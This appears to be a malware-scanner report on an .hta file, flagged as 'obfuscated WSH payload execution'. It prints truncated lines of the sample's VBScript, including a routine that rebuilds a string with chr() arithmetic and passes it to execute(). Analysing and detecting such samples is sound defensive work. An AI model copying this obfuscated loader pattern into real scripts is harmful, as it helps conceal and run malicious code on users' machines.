Suspicious ^80% Download

7eb136cd76d9f0ef97dfd79ef3d64da3b6812ea4d5da2bf2227459006a9ff00f.hta

obfuscated WSH payload execution

Chr of an identifier minus anotherWSH executes a reconstructed variable

SHA-2567eb136cd76d9f0ef97dfd79ef3d64da3b6812ea4d5da2bf2227459006a9ff00f

Evidence

WSH executes a reconstructed variable lines 2–4

2:17547… 73)
3Sub zpandLNQWYdJfglhnMRGZfCsCAPk(eOQfyhQQdfAfJwQxkbTaQJ) : execute(eOQfyhQQdfAfJwQxkbTaQJ) : End Sub
4UfpePKACibGJFMxLJLTMEPYw = "iQhMjJHWdoevPoqwWvSYMKeXANZZPcAIIbglVcOSsAZzeflWkhzMbkOtVYgDzwbutJcJVEjLbeAwRzBnZGtpvHcD …

Chr of an identifier minus another lines 8–13

8:44… SnpScXzOsLfEdBKfU(tmglLBfdnnqsOCVFHInGcMjmLejYnRkwPoV - 1)
9aGAEhAGRSvybXLeKQMsyqahuWcGBffBRt = chr(MyAvNYGSspkRAhTZVUGOD - mOerQAujjgqdmKubZAxSTNpxWQbCDcMVSzMH)
10bRiumjOlvrGmRWxjnWGlKOSjGMvqlezbJ = bRiumjOlvrGmRWxjnWGlKOSjGMvqlezbJ & aGAEhAGRSvybXLeKQMsyqahuWcGBffBRt
11next : zpandLNQWYdJfglhnMRGZfCsCAPk(bRiumjOlvrGmRWxjnWGlKOSjGMvqlezbJ)
12</script></head></html>
13//orc3dvex32j1ege0a6bgsr711f04mou